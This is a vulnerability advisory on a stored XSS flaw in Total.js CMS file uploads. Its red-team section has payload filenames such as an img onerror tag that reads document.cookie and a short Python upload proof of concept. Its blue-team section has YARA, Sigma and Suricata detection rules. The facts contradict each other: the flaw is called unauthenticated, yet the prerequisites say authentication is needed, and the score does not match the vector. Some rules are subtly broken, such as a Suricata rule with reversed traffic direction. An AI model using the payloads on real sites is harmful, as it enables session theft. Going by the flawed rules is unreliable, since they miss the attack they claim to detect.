CVE-2025-11019

Executive Summary

CVE-2025-11019 is a publicly disclosed, unauthenticated stored cross-site scripting (XSS) vulnerability in Total.js CMS versions up to and including 19.9.0. The flaw resides in the Files Menu component, allowing an attacker to inject arbitrary JavaScript into the application. Given the CVSS score of 2.4, the impact is considered low due to the requirement for user interaction and the limited scope of confidentiality impact. However, the public availability of exploit details increases the risk of targeted attacks. No official patch has been released by the vendor.

Supply Chain & Package Security

This vulnerability affects the Total.js CMS package, which is distributed via npm. Organizations using this package should treat it as a supply chain risk. The lack of a patch means that any application built on Total.js CMS up to version 19.9.0 is vulnerable. Immediate action should include assessing exposure and implementing compensating controls.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
• Base Score: 2.4 (Low)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R)
• Scope: Unchanged (S:U)
• Confidentiality Impact: None (C:N)
• Integrity Impact: Low (I:L)
• Availability Impact: None (A:N)

Threat Level: Low. The vulnerability requires user interaction (e.g., clicking a malicious link) and only allows modification of content within the victim's browser session. It does not lead to data theft or system compromise directly.

Deep Dive & Mechanics

The vulnerability is a classic stored cross-site scripting (XSS) issue within the Files Menu component of Total.js CMS. The application fails to properly sanitize user-supplied input when handling file names or metadata displayed in the file management interface. An attacker can upload a file with a crafted name containing malicious JavaScript code. When an administrator or user with file management privileges views the Files Menu, the injected script executes in their browser context.

Attack Flow:

1. Attacker identifies a Total.js CMS instance (version <= 19.9.0).
2. Attacker uploads a file with a name containing a malicious payload, e.g., <img src=x onerror=alert(1)>.txt.
3. The application stores the file name without sanitization.
4. When a victim (e.g., admin) navigates to the Files Menu, the malicious script executes.
5. The attacker can then perform actions such as session hijacking, defacement, or phishing within the victim's session.

Vulnerable vs. Patched Code

Since no official patch exists, the vulnerable code path is in the file upload handler. The application likely uses a function similar to:

// Vulnerable code (conceptual)
app.post('/upload', (req, res) => {
    let filename = req.body.filename; // No sanitization
    // Store filename in database
    db.files.insert({ name: filename });
});

A patched version would include input validation and output encoding:

// Patched code (conceptual)
const sanitize = require('sanitize-filename');
const escape = require('escape-html');

app.post('/upload', (req, res) => {
    let filename = sanitize(req.body.filename); // Remove dangerous characters
    let safeFilename = escape(filename); // Encode for HTML context
    db.files.insert({ name: safeFilename });
});

Exploitation & Lab Setup

Red Team

Prerequisites:

• Total.js CMS version 19.9.0 or earlier.
• Access to the file upload functionality (typically requires authentication, but the vulnerability is triggered by a victim).

Exploit Steps:

1. Log in to the CMS (if required) or use a publicly accessible upload endpoint.
2. Upload a file with a malicious name, e.g.:

   <img src=x onerror=alert(document.cookie)>.txt
   

3. Craft a phishing link or wait for an admin to view the Files Menu.
4. The payload executes in the admin's browser.

Proof-of-Concept (PoC) Code:

import requests

target = "http://target.com"
session = requests.Session()

# Login if needed
# session.post(target + "/login", data={"username": "admin", "password": "password"})

# Upload malicious file
files = {'file': ('<img src=x onerror=alert(1)>.txt', 'dummy content', 'text/plain')}
response = session.post(target + "/upload", files=files)
print("Upload response:", response.status_code)

Blue Team

Detection:

• Monitor file upload logs for unusual file names containing HTML tags or JavaScript.
• Use web application firewalls (WAF) to block uploads with suspicious patterns.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Hunting:

• Search for file names containing <, >, onerror, onload, javascript: in database logs.
• Review HTTP requests to /upload endpoints for encoded payloads.

Indicators of Compromise (IOCs)

• File Names: Files containing HTML/JavaScript in their names, e.g., <script>alert(1)</script>.txt.
• Network Traffic: HTTP POST requests to /upload with Content-Type: multipart/form-data and suspicious filename parameters.
• Log Entries: Application logs showing file names with HTML tags.
• Browser Behavior: Unexpected pop-ups or redirects when accessing the Files Menu.

Detection Engineering

YARA Rule

rule CVE_2025_11019_XSS_File_Upload {
    meta:
        description = "Detects malicious file names used in CVE-2025-11019"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2025-11019"
    strings:
        $xss_pattern_1 = /<[^>]*onerror\s*=[^>]*>/i
        $xss_pattern_2 = /<[^>]*onload\s*=[^>]*>/i
        $xss_pattern_3 = /<script[^>]*>/i
        $xss_pattern_4 = /javascript\s*:/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-11019 - XSS via File Upload in Total.js CMS
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects file uploads with XSS payloads targeting Total.js CMS
author: Valters IT
date: 2025-04-01
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/upload'
        cs-uri-query|contains: 
            - '<'
            - '>'
            - 'onerror'
            - 'onload'
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate file names containing special characters (rare)
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-11019 - XSS via File Upload in Total.js CMS";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/upload"; http_uri;
    pcre:"/<[^>]*onerror\s*=[^>]*>/i";
    pcre:"/<[^>]*onload\s*=[^>]*>/i";
    pcre:"/<script[^>]*>/i";
    classtype:web-application-attack;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable File Upload: If not required, disable the file upload functionality in Total.js CMS.
2. Input Validation: Implement server-side validation to reject file names containing HTML tags or JavaScript.
3. Output Encoding: Ensure all file names are HTML-encoded before rendering in the Files Menu.
4. Web Application Firewall (WAF): Deploy WAF rules to block uploads with XSS patterns.
5. Content Security Policy (CSP): Add a strict CSP header to prevent execution of inline scripts.

Long-Term Fix:

• Monitor the Total.js CMS repository for an official patch.
• Consider migrating to a supported CMS if no patch is released.

Workaround:

• Use a reverse proxy to sanitize file names before they reach the application.

Valters IT